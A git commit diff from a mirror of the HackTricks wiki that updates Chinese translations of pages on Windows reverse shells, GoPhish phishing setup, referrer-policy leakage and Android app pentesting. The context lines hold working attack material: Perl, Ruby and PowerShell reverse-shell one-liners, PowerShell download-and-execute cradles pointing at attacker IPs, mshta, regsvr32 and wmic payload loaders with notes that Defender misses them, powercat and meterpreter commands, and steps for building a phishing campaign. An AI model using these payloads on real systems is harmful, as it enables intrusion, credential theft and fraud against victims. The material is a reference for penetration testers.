mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi
This commit is contained in:
Translator
parent
25a0b23b3b
commit
d7e54cd05e
@ -4,7 +4,7 @@
|
||||
|
||||
## Lolbas
|
||||
|
||||
该页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 是针对 Windows 的，类似于 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux。\
|
||||
该页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 针对 Windows，就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux 一样。\
|
||||
显然，**Windows 中没有 SUID 文件或 sudo 权限**，但了解 **如何** 一些 **二进制文件** 可以被（滥）用来执行某种意外操作，如 **执行任意代码**，是很有用的。
|
||||
|
||||
## NC
|
||||
@ -49,7 +49,7 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## 红宝石
|
||||
## Ruby
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
@ -82,14 +82,14 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
执行网络调用的进程：**powershell.exe**\
|
||||
写入磁盘的有效载荷：**没有** (_至少在我使用 procmon 时找不到！_)
|
||||
写入磁盘的有效载荷：**没有** (_至少在我使用 procmon 时找不到任何地方！_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
执行网络调用的进程：**svchost.exe**\
|
||||
写入磁盘的有效载荷：**WebDAV 客户端本地缓存**
|
||||
写入磁盘的有效载荷：**WebDAV client local cache**
|
||||
|
||||
**一行代码：**
|
||||
**一行命令：**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
@ -113,7 +113,7 @@ mshta \\webdavserver\folder\payload.hta
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**您可以通过 stager hta 非常轻松地下载和执行 Koadic 僵尸**
|
||||
**您可以非常轻松地使用 stager hta 下载并执行 Koadic 僵尸**
|
||||
|
||||
#### hta 示例
|
||||
|
||||
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**从这里**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
@ -324,7 +324,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
```
|
||||
**未检测到**
|
||||
|
||||
**您可以使用 stager wmic 非常轻松地下载并执行 Koadic 僵尸**
|
||||
**您可以非常轻松地使用 stager wmic 下载并执行 Koadic 僵尸**
|
||||
|
||||
## Msbuild
|
||||
|
||||
@ -347,7 +347,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
|
||||
```
|
||||
您可以从这里下载一个基本的 C# 反向 shell: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**未检测**
|
||||
**未被检测**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
@ -379,7 +379,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
在网络服务器上启动脚本并在受害者端执行它：
|
||||
在网络服务器上启动脚本并在受害者端执行：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
@ -395,11 +395,11 @@ Defender 目前尚未将其检测为恶意代码（截至2019年3月4日）。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender 目前尚未将其检测为恶意代码（截至2019年3月4日）。
|
||||
Defender 尚未将其检测为恶意代码（截至 2019 年 3 月 4 日）。
|
||||
|
||||
**powercat 提供的其他选项：**
|
||||
|
||||
绑定 shell，反向 shell（TCP，UDP，DNS），端口重定向，上传/下载，生成有效负载，提供文件...
|
||||
绑定 shell、反向 shell（TCP、UDP、DNS）、端口重定向、上传/下载、生成有效负载、提供文件...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
@ -438,7 +438,7 @@ python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
启动一个网络服务器，提供 _powershell_attack.txt_ 文件，并在受害者上执行：
|
||||
启动一个网络服务器，提供 _powershell_attack.txt_ 文件，并在受害者机器上执行：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
||||
@ -21,18 +21,18 @@
|
||||
|
||||
### 域名变体技术
|
||||
|
||||
- **关键词**: 域名 **包含** 原始域名的重要 **关键词** (例如，zelster.com-management.com)。
|
||||
- **带连字符的子域**: 将子域的 **点替换为连字符** (例如，www-zelster.com)。
|
||||
- **新 TLD**: 使用 **新 TLD** 的相同域名 (例如，zelster.org)
|
||||
- **同形异义字**: 它 **用看起来相似的字母替换** 域名中的一个字母 (例如，zelfser.com)。
|
||||
- **置换**: 它 **交换域名中的两个字母** (例如，zelsetr.com)。
|
||||
- **单数/复数化**: 在域名末尾添加或删除 “s” (例如，zeltsers.com)。
|
||||
- **省略**: 它 **删除域名中的一个字母** (例如，zelser.com)。
|
||||
- **重复**: 它 **重复域名中的一个字母** (例如，zeltsser.com)。
|
||||
- **替换**: 类似于同形异义字，但不那么隐蔽。它替换域名中的一个字母，可能是与原字母在键盘上相邻的字母 (例如，zektser.com)。
|
||||
- **子域化**: 在域名中引入一个 **点** (例如，ze.lster.com)。
|
||||
- **插入**: 它 **在域名中插入一个字母** (例如，zerltser.com)。
|
||||
- **缺失点**: 将 TLD 附加到域名上。 (例如，zelstercom.com)
|
||||
- **关键词**：域名 **包含** 原始域名的重要 **关键词** (例如，zelster.com-management.com)。
|
||||
- **带连字符的子域**：将子域的 **点替换为连字符** (例如，www-zelster.com)。
|
||||
- **新 TLD**：使用 **新 TLD** 的相同域名 (例如，zelster.org)
|
||||
- **同形异义字**：它 **用看起来相似的字母替换** 域名中的一个字母 (例如，zelfser.com)。
|
||||
- **置换**：它 **交换域名中的两个字母** (例如，zelsetr.com)。
|
||||
- **单数/复数化**：在域名末尾添加或删除“s” (例如，zeltsers.com)。
|
||||
- **省略**：它 **删除域名中的一个字母** (例如，zelser.com)。
|
||||
- **重复**：它 **重复域名中的一个字母** (例如，zeltsser.com)。
|
||||
- **替换**：类似于同形异义字，但不太隐蔽。它替换域名中的一个字母，可能是与原字母在键盘上相邻的字母 (例如，zektser.com)。
|
||||
- **子域化**：在域名中引入一个 **点** (例如，ze.lster.com)。
|
||||
- **插入**：它 **在域名中插入一个字母** (例如，zerltser.com)。
|
||||
- **缺失点**：将 TLD 附加到域名上。 (例如，zelstercom.com)
|
||||
|
||||
**自动工具**
|
||||
|
||||
@ -73,7 +73,7 @@
|
||||
- [https://hunter.io/](https://hunter.io)
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
为了 **发现更多** 有效的电子邮件地址或 **验证你已经发现的地址**，你可以检查是否可以对受害者的 smtp 服务器进行暴力破解。 [在这里学习如何验证/发现电子邮件地址](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
|
||||
为了 **发现更多** 有效的电子邮件地址或 **验证你已经发现的地址**，你可以检查是否可以对受害者的 smtp 服务器进行暴力破解。 [在这里了解如何验证/发现电子邮件地址](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
|
||||
此外，不要忘记，如果用户使用 **任何网络门户访问他们的邮件**，你可以检查它是否容易受到 **用户名暴力破解**，并在可能的情况下利用该漏洞。
|
||||
|
||||
## 配置 GoPhish
|
||||
@ -82,7 +82,7 @@
|
||||
|
||||
你可以从 [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) 下载它。
|
||||
|
||||
下载并解压到 `/opt/gophish` 中，并执行 `/opt/gophish/gophish`\
|
||||
下载并解压到 `/opt/gophish` 中，并执行 `/opt/gophish/gophish`。\
|
||||
你将在输出中获得端口 3333 的管理员用户密码。因此，访问该端口并使用这些凭据更改管理员密码。你可能需要将该端口隧道到本地：
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**TLS 证书配置**
|
||||
|
||||
在这一步之前，您应该已经**购买了您将要使用的域名**，并且它必须**指向**您正在配置**gophish**的**VPS 的 IP**。
|
||||
在此步骤之前，您应该**已经购买了您将要使用的域名**，并且它必须**指向**您正在配置**gophish**的**VPS 的 IP**。
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -283,7 +283,7 @@ DKIM check: pass
|
||||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
您还可以向**您控制的Gmail发送消息**，并检查您Gmail收件箱中的**电子邮件头**，`dkim=pass`应出现在`Authentication-Results`头字段中。
|
||||
您还可以向**您控制的Gmail发送消息**，并在您的Gmail收件箱中检查**电子邮件的头部**，`dkim=pass`应出现在`Authentication-Results`头字段中。
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
@ -291,7 +291,7 @@ dkim=pass header.i=@example.com;
|
||||
```
|
||||
### 从Spamhouse黑名单中移除
|
||||
|
||||
页面 [www.mail-tester.com](https://www.mail-tester.com) 可以指示您的域名是否被spamhouse阻止。您可以在以下网址请求移除您的域名/IP: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
页面 [www.mail-tester.com](https://www.mail-tester.com) 可以指示您的域名是否被spamhouse阻止。您可以在以下地址请求移除您的域名/IP: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### 从Microsoft黑名单中移除
|
||||
|
||||
@ -317,7 +317,7 @@ dkim=pass header.i=@example.com;
|
||||
- 然后写一个 **主题**（没有奇怪的内容，只是您在常规邮件中可以期待看到的内容）
|
||||
- 确保您已勾选“**添加跟踪图像**”
|
||||
- 编写 **邮件模板**（您可以使用变量，如以下示例所示）：
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
@ -360,7 +360,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
> 请注意，如果您需要**使用某些静态资源**用于 HTML（可能是一些 CSS 和 JS 页面），您可以将它们保存在 _**/opt/gophish/static/endpoint**_ 中，然后从 _**/static/\<filename>**_ 访问它们。
|
||||
|
||||
> [!NOTE]
|
||||
> 对于重定向，您可以**将用户重定向到受害者的合法主网页**，或者例如重定向到 _/static/migration.html_，放置一些**旋转轮**（**[https://loading.io/](https://loading.io)**）5 秒钟，然后指示该过程成功。
|
||||
> 对于重定向，您可以**将用户重定向到受害者的合法主网页**，或者例如将他们重定向到 _/static/migration.html_，放置一些**旋转轮**（**[https://loading.io/](https://loading.io)**）5 秒钟，然后指示该过程成功。
|
||||
|
||||
### 用户与组
|
||||
|
||||
@ -392,7 +392,7 @@ clone-a-website.md
|
||||
|
||||
## 后门文档和文件
|
||||
|
||||
在某些钓鱼评估中（主要针对红队），您还可能想要**发送包含某种后门的文件**（可能是 C2，或者只是一些会触发身份验证的东西）。\
|
||||
在某些钓鱼评估中（主要针对红队），您可能还想**发送包含某种后门的文件**（可能是 C2，或者只是一些会触发身份验证的东西）。\
|
||||
查看以下页面以获取一些示例：
|
||||
|
||||
{{#ref}}
|
||||
@ -428,7 +428,7 @@ phishing-documents.md
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
您可以**购买一个与受害者域名非常相似的域名**，**和/或为您控制的域的**一个**子域生成证书**，**包含**受害者域名的**关键字**。如果**受害者**与它们进行任何类型的**DNS 或 HTTP 交互**，您将知道**他在积极寻找**可疑域，您需要非常隐蔽。
|
||||
您可以**购买一个与受害者域名非常相似的域名**，**和/或为您控制的域的**子域**生成证书**，**包含**受害者域名的**关键字**。如果**受害者**与它们进行任何类型的**DNS 或 HTTP 交互**，您将知道**他在积极寻找**可疑域名，您需要非常隐蔽。
|
||||
|
||||
### 评估钓鱼
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## 敏感信息泄露
|
||||
|
||||
如果在某个网页中，任何敏感信息位于GET请求参数中，如果该页面包含指向外部资源的链接，或者攻击者能够使/建议（社交工程）用户访问由攻击者控制的URL。它可能能够提取最新GET请求中的敏感信息。
|
||||
如果在网页的某个地方，任何敏感信息位于GET请求参数中，如果页面包含指向外部源的链接，或者攻击者能够使/建议（社会工程）用户访问由攻击者控制的URL。这可能会导致在最新的GET请求中泄露敏感信息。
|
||||
|
||||
## 缓解措施
|
||||
|
||||
@ -21,10 +21,10 @@ Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## 反制措施
|
||||
## Counter-Mitigation
|
||||
|
||||
您可以使用 HTML meta 标签覆盖此规则（攻击者需要利用 HTML 注入）：
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
||||
@ -13,14 +13,14 @@ android-applications-basics.md
|
||||
## ADB (Android 调试桥)
|
||||
|
||||
这是您连接到 Android 设备（模拟或物理）所需的主要工具。\
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **文件** 双向 **复制**、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **文件的双向复制**、**应用程序的安装和卸载**、**执行 shell 命令**、**数据备份**、**读取日志**等功能成为可能。
|
||||
|
||||
查看以下 [**ADB 命令**](adb-commands.md) 列表，以了解如何使用 adb。
|
||||
|
||||
## Smali
|
||||
|
||||
有时修改 **应用程序代码** 以访问 **隐藏信息**（可能是经过良好混淆的密码或标志）是很有趣的。然后，反编译 apk、修改代码并重新编译可能会很有趣。\
|
||||
[**在本教程中**，您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析** 中作为 **多项测试的替代方案** 将非常有用。然后，**始终记住这个可能性**。
|
||||
[**在本教程中**，您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析期间的几项测试中可能非常有用**。因此，**始终记住这种可能性**。
|
||||
|
||||
## 其他有趣的技巧
|
||||
|
||||
@ -52,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### 寻找有趣的信息
|
||||
|
||||
仅仅查看 APK 的**字符串**，您就可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门（硬编码的管理员凭据）。
|
||||
仅通过查看 APK 的**字符串**，您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门（硬编码的管理员凭据）。
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -64,7 +64,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
从 **Manifest.xml** 中识别的**漏洞**包括：
|
||||
|
||||
- **可调试的应用程序**：在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险，因为它们允许连接，可能导致被利用。有关如何利用可调试应用程序的进一步理解，请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **可调试应用程序**：在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险，因为它们允许连接，可能导致利用。有关如何利用可调试应用程序的进一步理解，请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**：对于处理敏感信息的应用程序，`android:allowBackup="false"` 属性应明确设置，以防止通过 adb 进行未经授权的数据备份，特别是在启用 USB 调试时。
|
||||
- **网络安全**：_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节，如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **导出活动和服务**：在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||
@ -72,12 +72,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
- **广播接收器和 URL 方案**：这些组件可能被利用进行攻击，特别注意如何管理 URL 方案以防止输入漏洞。
|
||||
- **SDK 版本**：`minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本，强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。
|
||||
|
||||
从 **strings.xml** 文件中，可以发现敏感信息，如 API 密钥、自定义模式和其他开发者注释，强调了仔细审查这些资源的必要性。
|
||||
从 **strings.xml** 文件中，可以发现敏感信息，如 API 密钥、自定义模式和其他开发者注释，强调了对这些资源进行仔细审查的必要性。
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** 是一种攻击，其中**恶意** **应用程序**被启动并**位于受害者应用程序之上**。一旦它可见地遮挡了受害者应用程序，其用户界面被设计成欺骗用户与之交互，同时将交互传递给受害者应用程序。\
|
||||
实际上，它是**让用户不知道他们实际上是在对受害者应用程序执行操作**。
|
||||
实际上，它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||
|
||||
获取更多信息：
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### 任务劫持
|
||||
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**，且没有定义任何 `taskAffinity`，则容易受到任务劫持。这意味着，可以安装一个**应用程序**，如果在真实应用程序之前启动，它可能会**劫持真实应用程序的任务**（因此用户将与**恶意应用程序**交互，以为自己在使用真实应用程序）。
|
||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**且没有定义任何 `taskAffinity` 是易受任务劫持的。这意味着，可以安装一个**应用程序**，如果在真实应用程序之前启动，它可能会**劫持真实应用程序的任务**（因此用户将与**恶意应用程序**交互，以为自己在使用真实应用程序）。
|
||||
|
||||
更多信息：
|
||||
|
||||
@ -99,12 +99,12 @@ android-task-hijacking.md
|
||||
|
||||
**内部存储**
|
||||
|
||||
在 Android 中，**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行，通常足以满足大多数应用程序的安全需求。然而，开发者有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而，这些模式**并不限制**其他应用程序（包括潜在恶意应用程序）对这些文件的访问。
|
||||
在 Android 中，**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**，通常足以满足大多数应用程序的安全需求。然而，开发人员有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而，这些模式**并不限制**其他应用程序（包括潜在恶意应用程序）对这些文件的访问。
|
||||
|
||||
1. **静态分析：**
|
||||
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。
|
||||
2. **动态分析：**
|
||||
- **验证**应用程序创建的文件上的**权限**。具体来说，**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险，因为这将允许**任何安装在设备上的应用程序**，无论其来源或意图如何，**读取或修改**这些文件。
|
||||
- **验证**应用程序创建的文件上设置的**权限**。具体来说，**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险，因为这将允许**任何安装在设备上的应用程序**，无论其来源或意图如何，**读取或修改**这些文件。
|
||||
|
||||
**外部存储**
|
||||
|
||||
@ -118,23 +118,23 @@ android-task-hijacking.md
|
||||
3. **处理来自外部存储的数据**：
|
||||
- 始终对从外部存储检索的数据**执行输入验证**。这至关重要，因为数据来自不受信任的来源。
|
||||
- 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
|
||||
- 如果您的应用程序必须从外部存储检索可执行文件，请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||
- 如果您的应用程序必须从外部存储检索可执行文件，请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||
|
||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||
|
||||
> [!NOTE]
|
||||
> 从 Android 4.4（**API 17**）开始，SD 卡具有一个目录结构，**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对另一个应用程序文件的读写访问。
|
||||
> 从 Android 4.4（**API 17**）开始，SD 卡具有一个目录结构，**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
|
||||
|
||||
**以明文存储的敏感数据**
|
||||
|
||||
- **共享偏好**：Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件，有时可以在该文件夹中找到明文的敏感信息。
|
||||
- **共享首选项**：Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件，有时可以在该文件夹中找到明文的敏感信息。
|
||||
- **数据库**：Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/databases/` 中保存 sqlite 数据库，有时可以在该文件夹中找到明文的敏感信息。
|
||||
|
||||
### 不安全的 TLS
|
||||
|
||||
**接受所有证书**
|
||||
|
||||
出于某种原因，有时开发者会接受所有证书，即使例如主机名与以下代码行不匹配：
|
||||
出于某种原因，有时开发人员会接受所有证书，即使例如主机名与以下代码行不匹配：
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -145,18 +145,18 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
**糟糕的密钥管理流程**
|
||||
|
||||
一些开发人员将敏感数据保存在本地存储中，并使用在代码中硬编码/可预测的密钥进行加密。这不应该这样做，因为某些反向工程可能允许攻击者提取机密信息。
|
||||
一些开发者将敏感数据保存在本地存储中，并用代码中硬编码/可预测的密钥进行加密。这不应该这样做，因为一些反向工程可能允许攻击者提取机密信息。
|
||||
|
||||
**使用不安全和/或过时的算法**
|
||||
|
||||
开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括：RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码，例如，应该使用抗暴力破解的哈希并加盐。
|
||||
开发者不应该使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括：RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码，例如，应该使用抗暴力破解的哈希并加盐。
|
||||
|
||||
### 其他检查
|
||||
|
||||
- 建议**混淆 APK**，以增加攻击者的反向工程难度。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该执行**自己的检查以查看手机是否已被root**并采取相应措施。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该检查是否正在使用**模拟器**。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该**在执行之前检查自己的完整性**以确认是否被修改。
|
||||
- 如果应用程序是敏感的（如银行应用），它应该**在执行之前检查自身的完整性**以确认是否被修改。
|
||||
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器
|
||||
|
||||
### React Native 应用程序
|
||||
@ -177,7 +177,7 @@ react-native-application.md
|
||||
|
||||
### 超级打包应用程序
|
||||
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)，超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法，即**执行应用程序并从文件系统中收集解压缩的文件**。
|
||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。博客讨论了创建一个解压这些应用程序的应用的可能性……以及一种更快的方法，涉及**执行应用程序并从文件系统收集解压的文件。**
|
||||
|
||||
### 自动化静态代码分析
|
||||
|
||||
@ -187,7 +187,7 @@ react-native-application.md
|
||||
|
||||
### 泄露的秘密
|
||||
|
||||
应用程序可能包含秘密（API 密钥、密码、隐藏的 URL、子域名……），您可能能够发现。您可以使用工具，例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
应用程序可能包含秘密（API 密钥、密码、隐藏的 URL、子域名……）在其中，您可能能够发现。您可以使用工具如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### 绕过生物识别认证
|
||||
|
||||
@ -230,7 +230,7 @@ content-protocol.md
|
||||
|
||||
#### 使用模拟器
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio)（您可以创建**x86**和**arm**设备，并且根据[**这个**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**，无需慢速的 arm 模拟器）。
|
||||
- [**Android Studio**](https://developer.android.com/studio)（您可以创建**x86**和**arm**设备，并且根据[**这个**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**，无需使用慢速的 arm 模拟器）。
|
||||
- 在此页面学习如何设置：
|
||||
|
||||
{{#ref}}
|
||||
@ -247,11 +247,11 @@ avd-android-virtual-device.md
|
||||
|
||||
.png>)
|
||||
|
||||
此外，请注意在 Genymotion 的**Android VM 配置中**，您可以选择**桥接网络模式**（如果您将从不同的 VM 连接到 Android VM 使用工具，这将非常有用）。
|
||||
此外，请注意在 Genymotion 的**Android VM 配置中**，您可以选择**桥接网络模式**（这在您将从不同的 VM 连接到 Android VM 时会很有用）。
|
||||
|
||||
#### 使用物理设备
|
||||
|
||||
您需要激活**调试**选项，如果您可以**root**它，那就更好了：
|
||||
您需要激活**调试**选项，如果您能**root**它，那就更好了：
|
||||
|
||||
1. **设置**。
|
||||
2. （从 Android 8.0 开始）选择**系统**。
|
||||
@ -259,14 +259,14 @@ avd-android-virtual-device.md
|
||||
4. 按**构建号** 7 次。
|
||||
5. 返回，您将找到**开发者选项**。
|
||||
|
||||
> 一旦您安装了应用程序，您首先应该尝试它并调查它的功能、工作原理，并熟悉它。\
|
||||
> 我建议使用 MobSF 动态分析 + pidcat 执行此初步动态分析，这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**，您可以稍后查看这些数据。
|
||||
> 一旦您安装了应用程序，您首先应该做的是尝试它并调查它的功能、工作原理，并与之熟悉。\
|
||||
